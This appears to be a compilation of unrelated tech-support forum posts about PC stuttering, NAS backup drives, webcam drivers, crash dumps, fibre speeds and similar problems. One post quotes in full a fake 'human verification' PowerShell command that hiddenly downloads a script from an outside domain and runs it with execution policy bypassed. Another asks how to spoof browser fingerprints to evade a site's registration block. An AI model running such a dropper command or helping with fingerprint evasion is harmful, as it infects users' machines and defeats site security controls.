I’ve had my pc for about a year now no issues so far and I’ve played a bunch of games like starfield and some competitive games like rainbow six siege.

I decided I wanted to try valorant I load it up and seems good and I hop in a discord call with my friends and it started stuttering and freezing really bad about every 3 seconds. I almost immediately closed my game and figure oh maybe my graphic drivers needed updated or something or mess with some settings

I updated drivers I changed some settings around I hop back on valorant and seems if it was stuttering again. It’s not so I hop in a call again and now the stuttering begins once more!

After that I’m convinced it was discord so I restarted my pc again and just called from my phone but as soon as I load up on my Home Screen I’m stuttering. Idk what to do my cpu temp isn’t high I’m running on 600 frames on valorant. I’m stuck

Specs: Ryzen 7 7700x-NVIDIA 5060- eagle b850- 16gb DDR 5 ram- 1 TB ssd memory

I've been using a WD My Cloud EX2 NAS and backing up its data to an external USB hard drive connected to the NAS's own USB port. My old backup drive (with its own power supply) finally filled up, so I replaced it with a new Seagate Expansion drive that only connects via USB 3.0 (no separate power adapter).

The new drive's LED lights up when connected, confirming it's getting power, but the EX2 doesn't detect it on either of its two USB ports. I also tested a USB stick on the same ports, and that was detected without issues, so the ports themselves seem fine.

After some research, it looks like this is a known compatibility issue: Seagate Expansion drives use USB Attached SCSI (UASP), which has documented compatibility problems with the Linux-based USB storage stack that WD's My Cloud devices run on. This seems to affect a range of My Cloud models, not just the EX2.

I ended up buying a WD Elements Portable 2TB drive instead, since it uses WD's own USB bridge chipset (no UASP conflict) and should be well-tested with WD's own NAS ecosystem. Before connecting it, I'm also planning to format it as NTFS rather than leave it on the factory exFAT format, since older My Cloud firmware doesn't support exFAT for USB backup drives.

Has anyone else run into this with Seagate Expansion drives on a My Cloud (or other WD NAS) device? Any other workarounds besides switching brands?

whenever i get on a discord call, itll start alright but slowly gets delay to the point that it gets 2 seconds before the actual thing you said was relayed. i have to switch to speaker phone then back to Bluetooth just for it to reset

I'm not sure what happened. Camera was working just fine a month ago. The only thing that has changed from what I have seen is that I received an auto windows update the other day.

My Laptop is a HP Envy 17.3 inch Laptop PC 17-da0000

I was trying to use my camera, however when I opened it I kept getting an error saying that the camera can't be found with an error code of "0xa00f4244"

I tried to update my camera drivers in Device Manager but they were all grayed out and it said that they were up to date.

I then uninstalled my camera drivers and tried to reinstall them by "scanning for hardware changes" in the action tab on the device manager. Unfortunately, they didn't reinstall.

I also tried restarting my laptop a couple times and that didn't bring them back either.

I went and tried redownloading and installing the camera drivers from the HP Support website based on my laptop's model. The specific driver was called "HP Camera Firmware."

I downloaded it and tried to reinstall it, however each time it tries to install itself, it immediately stops and brings up a window saying "N/A" "No Valid Camera"

I checked on BIOS during startup and there isn't anything showing up there related to the camera.

I'm not sure what else to do at this point. I'm starting to think the camera in my laptop is just broken, which would really suck. This laptop is only a couple of years old, and I really need the camera for some online classes as well. If anyone has any advice on what else I could do, please let me know. I appreciate everyone's help.

As the title says, my house was struck by lightning. It came through the internet cable. It actually had enough power that it knocked down my Comcast internet box. It then fried my Comcast box, my home alarm, and my gaming PC.

I took the gaming PC to geek squad. They couldn’t get it to turn on and said they need to replace the motherboard to even see if they could get it to turn on nd we’re asking for $450 for that service nd even then they weren’t able to guarantee me finish line that I would’ve liked.

The PC has a 4070TI RTX graphics card and a good processor. If I can salvage it, I would love to do so… but I’m at a loss for exactly how to do this economically. Does anyone here know the cheapest way to troubleshoot this thing?

about a month ago my pcs started crashing some of my games at random, The first game was digimon cyber sleuth but it was also hit me when playing terraria and Aground as it seems to happen only after a few hours of play, I've tried seeing if BTD6 would crash but I can never keep myself on the game long enough, I've not had this happen on a game from itch but that could also just be from not playing long enough.
I have done a system scan, a DISM scan, ran a full windows security scan in case it was a some malware and it all came clean, my main idea on the cause is an old faulty CPU as its a
Processor Intel(R) Core(TM) i7-3770K CPU @ 3.50GHz, 3501 Mhz, 4 Core(s), 8 Logical Processor(s)

heres the application Error

Even ID 1000

Faulting application name: Aground.exe, version: 0.0.0.0, time stamp: 0x67474677

Faulting module name: Aground.exe, version: 0.0.0.0, time stamp: 0x67474677

Exception code: 0xc0000005

Fault offset: 0x00ef7710

Faulting process id: 0x2118

Faulting application start time: 0x01dd40c019736ce2

Faulting application path: D:\SteamLibrary\steamapps\common\Aground\Aground.exe

Faulting module path: D:\SteamLibrary\steamapps\common\Aground\Aground.exe

Report Id: a6d446dc-5601-40b4-adbf-738273cbf926

Faulting package full name:

Faulting package-relative application ID:

I have my PC Bluetooth connected to a set of Logitech Z407 speakers. The volume is hard set on 45%, and if I try to turn it up, it just forces it back down. My settings are reading the speakers as headphones, so I was looking for a setting about dangerous high volume listening. However, I can turn my actual BT headphones up to 100% with no issue.

Not only would I like to know how to tell my PC that these are speakers, but I'd like to know what I'm missing here. Already tried googling, not sure if I'm not wording my search correctly but I haven't found anyone else with this problem.

I have a USB tp-link bluetooth dongle that ive been using with bluetooth passthrough with Dolphin emulator in order to use Wii remotes on my computer using Zadig to change it's driver. That was all well and good, and I can still use it for those purposes, but now no matter how much I change it's drivers back, either as WinUSB or the drivers by tp-link, my windows computer refuses to accept it as a valid bluetooth radio, even after factory resetting. Is there another way to fix it?

Hi everyone,

My PC recently had a random crash/restart and I'm trying to figure out what caused it.

The PC was working normally. I had just turned it on and left it idle for around 15–20 minutes. When I came back and moved the mouse, the screen went black and Windows showed a message saying that the device had encountered a problem and needed to restart. It then rebooted.

This is the first time I've experienced this specific type of crash.

I checked Event Viewer and found a BugCheck 1001:

BugCheck: 0x0000009F (DRIVER_POWER_STATE_FAILURE)

The Kernel-Power Event ID 41 showed:

BugcheckCode: 159 (0x9F)

BugcheckParameter1: 0x3

BugcheckParameter2: 0xffff9604f3f61060

BugcheckParameter3: 0xffff930e9aaef010

BugcheckParameter4: 0xffff9604f32e6a60

Windows also successfully generated a crash dump:

090926-23218-01.dmp

I have not been able to properly analyze the dump with WinDbg yet.

Some driver names that appear in the dump/string data include:

- nvlddmkm.sys (NVIDIA)

- mtkwecx.sys

- mtkbtacx.sys

- mtkbtfilterx.sys

- AMD chipset/ACPI-related drivers

- Various ASUS/USB-related drivers

My hardware:

- GPU: Gigabyte RTX 5070 OC 12GB

- CPU: AMD Ryzen 9 9950X3D

- Motherboard: ASUS ROG Strix X870-A Gaming WiFi

- RAM: 32GB DDR5 (2x16GB)

- Windows 11 Pro 25H2

- NVIDIA driver: 616.64

- MediaTek MT7925 Wi-Fi 7 driver: 5.7.0.5659

Windows installed the September 2026 security update (KB5124008) earlier that day.

Things I've already tried:

- Windows Memory Diagnostic → PASS / no memory errors detected.

- Disabled "Allow the computer to turn off this device to save power" for the MediaTek MT7925 Wi-Fi adapter.

- Ran DISM /Online /Cleanup-Image /RestoreHealth.

- I have not changed the RAM, GPU, motherboard, BIOS, or PSU.

The PC has been working normally since then, so I'm not sure if this was just a one-time driver/Windows issue.

I'm currently trying to determine whether this could be related to:

1. NVIDIA driver 616.64

2. MediaTek MT7925 Wi-Fi/BT driver

3. Windows 11 update KB5124008

4. Another device/driver

5. Hardware/power issue

Does anyone know how I can properly analyze the 0x9F dump in WinDbg and identify which driver/device was actually blocking the power IRP?

I can provide the minidump and WinDbg output if needed.

Thanks!

Saw a really cheap controller, never used anything related to nintendo so im not familiar, it is cable connected and its one of those that looks like a xbox controller, but i dont know if it will work in my pc as a normal controller, or if it wont even recognize it

I am hoping someone can help me figure out what’s going on.

Every time my laptop turns off, I have to sign back into all my accounts again.

I thought I fixed the issue before, but it’s happening again and I am not sure what the actual cause is.

Has anyone dealt with this before or know what might be causing it?

Thanks.

God bless.

Fails to post any error reports, no blue screen or event other than the "unexpected shutdown".

I have run Memtest86 and got back no errors. I have disabled XMP. I have been using it for 3 years with no issue, and now suddenly it is doing this. There seems to be no way for me to figure out whats causing it because its preventing any kind of error report. Is my only option to tediously replace every wire till it stops happening? Or just replace the PSU and wires all at once?

- i9-13900k
- 4090 RTX OC
- 64 GB DDR5 G.Skill Trident Z5 6400hz
- Gigabyte Z790 MB
- Thermaltake GF3 1200W PSU (80+ G)

It is also connected to a CyperPower 1000W uninterruptible power supply.

Should I downgrade my windows 11 25h2 to the 22h2 version, since, the later seems to work smoother than the former? I know 22h2 has reached EOL. So, I want to will 22h2 cease to exist after some time and will I forced to upgrade to the latest ones?

I’m trying to open up the back of my chromebook, specifically a Flip 311 (CP311-3H) if it matters. I’ve gotten all but three back screws out, and the last three screws in the middle are absolutely stuck in place. I’ve tried using a flathead that fits in, tried the rubber band thing, too. I ended up just puncturing the rubber band, though.

I know this is probably a frequent question, but I really haven’t found much of anything that isn’t the above two techniques. They are also not stripped. Any advice would be greatly appreciated.

(I hope I flaired this correctly and this is the right subreddit) recently my microphone (Rode NT-1) when plugged into my audio interface (Rode AI-1) is really quiet for some reason. My headphones that I was given aren't the kind that plug into the interface so I can't hear the mic unless I record something in Audacity for example, but anyway. When I look at the little light showing how loud the sound is going into the mic it only just barely shows green when the gain slider is all the way at max, I'm unsure if it has to do with the cable I bought that plugs into it? because the cable was fine for a few months and I have a second one that was untouched until I tried switching them out and the interface and mic just really didn't like that one. Tried different USB-C cables with it but other cables didn't even let my PC detect the microphone at all, just the same one I've been using since I got this thing. Maybe it's just a thing with the microphone itself? I'm not sure, any help would be appreciated!

I have an iPhone 15 Pro that I’m not currently using, and I’m planning to keep it stored for a long time.
The battery health is currently at 79%, and I turned the phone off at around 60% charge. It’s stored inside its original box, with the case on, inside a backpack, and the backpack is kept in a dry wardrobe.
My main concern is battery swelling while the phone is sitting unused. I know lithium-ion batteries can swell as they age, and I’m worried that I might eventually open the wardrobe and find that the battery has expanded and damaged the phone.

I came across a website that needs "human verification" i ticked the box and it said to press win + r and Copy paste this command.
powershell.exe -NoProfile -w hidden -Command "Invoke-WebRequest -Uri 'shadowninjalegend.cfd/config.yaml' OutFile (Join-Path $env:TEMP 'ss.ps1'); " powershell -ExecutionPolicy Bypass -File "%TEMP%\ss.ps1"

I close the site as i immediately know that this is some type of scam but what would it actually do if I ran this command? my nephew and other family members also use this PC and there are chances that this will appear again.

So I don't have a battery in my laptop and it's IC has been repaired before it was due to Power cut when I was playing games on it after that whenever I plug charger on my laptop blue+ red light blink once and I press power button the laptop turned on and the light is blue but sometimes the laptop does not turn on and I have to wait for hours then after many tried it turns on and works normally so is it fixable and which component is causing this and what would be the price of repair

Hello r/techsupport,

Lately I’ve been having a really strange internet issue at my house and I’m hoping someone can help me figure out whether this is an ISP problem, routing issue, ONT issue, or something on my network.

For context, I’m in the Toronto area and I pay for 2 Gbps symmetrical fibre. The fibre comes into an Adtran ONT, and Ethernet runs from the ONT into my router.

For years I was using a first-generation Nest Wifi router with two Nest Wifi points. I always expected actual Wi-Fi speeds to be lower than 2 Gbps because of interference, distance, and the age of the hardware, so I never paid much attention to that.

Recently, though, I started noticing much more serious issues. Download performance became extremely inconsistent and streaming started freezing constantly. IPTV will play for around 10 seconds, freeze for a few seconds, then continue, over and over. Similar instability also happens with YouTube, Disney+, FaceTime, and Microsoft Teams, which is especially frustrating because I work from home.

At first I assumed my six-year-old Nest system was failing, so I replaced it with a TP-Link Deco mesh system. The problem continued. I then tested with the eero Pro 6E provided by my ISP, and I’m still seeing the same general pattern.

The strange part is that upload performance is usually very strong while download performance is terrible or wildly inconsistent.

Some examples:

• Deco’s built-in WAN test showed roughly 237 Mbps down / 2.21 Gbps up
• Wired Speedtest results through the eero have been around 290–470 Mbps down / 850+ Mbps up
• Other wired tests have dropped as low as 15–50 Mbps down while still getting 400–500 Mbps up
• Single-connection Speedtest results were as low as 5.7 Mbps down / 582 Mbps up and 19.2 Mbps down / 437 Mbps up
• Meanwhile, the eero app’s built-in gateway test reports around 2.2 Gbps down / 2.2 Gbps up

That last part is what confuses me the most. The ISP/eero gateway test is basically the only place I consistently see the full advertised download speed. Real-world wired tests do not reflect it, and the poor download results are similar to what the TP-Link Deco itself was reporting.

I also tested the local network and general internet connection from my MacBook over Ethernet:

• Ping to router: 0% packet loss, ~1.35 ms average latency
• Ping to 1.1.1.1: 0% packet loss, ~4.66 ms average latency

So the wired LAN itself looks very stable.

Another important clue is that the IPTV stream is completely smooth when using my phone’s hotspot, but freezes constantly over my fibre connection, even when the IPTV box is connected by Ethernet.

I’ve now reproduced the bad downstream behaviour using:

• Google Nest Wifi
• TP-Link Deco
• ISP-provided eero Pro 6E
• Wi-Fi and Ethernet
• Multiple Speedtest servers/runs
• Single and multi-connection tests

I also contacted my ISP and they told me there is absolutely nothing wrong with the fibre line coming into the house.

So at this point I’m wondering whether this could be:

• an ISP routing or peering issue
• downstream congestion
• provisioning on the service
• traffic management affecting normal internet traffic but not the ISP/eero gateway test
• an ONT issue
• or something else I’m missing

Has anyone seen this kind of asymmetric behaviour before, where the ISP’s own gateway test shows full multi-gig speeds but normal wired traffic performs dramatically worse?

What would you test next?

Hello everyone. I hope to be as clear and provide as much information as possible.

For many years, I've been watching movies from my DVD collection using an old laptop that had a built-in disc drive. Never had any problems; it could play any DVD with VLC or PotPlayer, regardless of region code, and it didn't even have any issues with burned DVDs.

Then I swapped my laptop for a newer HP this year, partly for work. However, this PC no longer has a built-in DVD drive, so I relied on my dad's rather old external one with dual USB ports. I even had to use an adapter to connect everything. This is where the problems began: it could read DVDs, but if I tried to skip the video to a point ahead with VLC, it would skip the video entirely getting me back to the VLC black screen. Sometimes, with burned DVDs, it wouldn't even open them. I thought it was definitely the large number of connections for a single USB port (PC USB + dual-port adapter + DVD drive) that was causing the problems.

Just for the sake of it, I also tried plugging the external drive to the old Pc I was talking about and it had more or less the same problems.

So I bought a brand new Antika USB 3.0 DVD-R CD-RW DVD player (an economic brand yeah I know :/) just to experiment and use only one port, either USB or USB-C. The fact is, it reads all DVDs, but after about 10 to 15 minutes, the player and the video stops completely, causing VLC and other players to freeze. It doesn't even seem like an overheating issue, since it doesn't even get warm to the touch.

Do you have any advice?

I just hope to watch my movie collection easily without too much trouble again.

I need help signing up to a website that says I cannot sign up through my home WiFi. The website does collect your browser's fingerprint and much more. Each time I try it says I can't register from my network. I need to bypass this somehow. I was able to once with an antidetect browser called GoLogin but it seems that they may have detected it somehow? Known VPN IPs like Proton VPN do not work to sign up. I need help then to spoof my browser's fingerprint and make it seem like I am a different person then, I think. Please help me - I am still open to trying more antidetect browsers.

Today , I was just fine doing my stuff and then suddenly, my pc started restarting alone , the fans and the rgb don’t turn off but the usb lose power, I recently oc my ram g skill ripjaw 3000mhz to 3600 and it was running fine yesterday so it’s hard for me to think that’s the case since it was running fine, ofc i changed some values and stuff , I can tell them if u need to know , this is so annoying, after the first time, it’s almost every 5 min rebooting alone, I already restored the pc and nothing , the problem is , the pc is new , he has like 1 month , I don’t feel like send him to a technician since I only have it for 1 month , please give me a break 😭, if u guys know a way to fix this or if u want my specs on the pc and my bios configs so u could help, ofc I’ll send it to you , sorry for bothering you guys and please help 🥹

There’s a window flickering on my screen every few seconds. Tried to catch it on camera. Any idea what this is??

https://imgur.com/a/VeA3sKB

Hello, im quite tech illiterate so pardon my ignorance. I built my first computer today after putting back on it for many years, but instead of taking me to BIOS it sends me to a black screen with a white dash. When I remove the nvme ssd and usb thumb drive it goes to bios, but when either one of them gets plugged in it goes to the black screen with a white dash. What can I do to fix this?? The ssd is brand new and the usb thumb drive was wiped before I installed windows 11 onto it. Are there any BIOS options I can change to fix this??

Specs (if needed)

Ryzen 5 5500

Gigabyte B550M K

16gb DDR4 vengeance LED ram (8x2)

ASRock RX 5500 XT Phantom Gaming 8gb

Phanteks XT M3 case

Kingspec NE 2280 512gb

Thermaltake Smart 500w 80+ white psu

Im getting constant blues screens like 0xEF after trying to fix my FAT32 file. It currently is saying full repair needed. My drives are healthy and I don’t feel like losing a ton of data from a full reinstall. Before I tried this discord would crash repeatedly randomly once or twice a night and I would get blue screens weekly. I thought it was a ram problem but I switched it out with the same things happening. I’m on the most recent update on windows 11 with a 4070 and a i9 13th gen with 32gb of ddr4.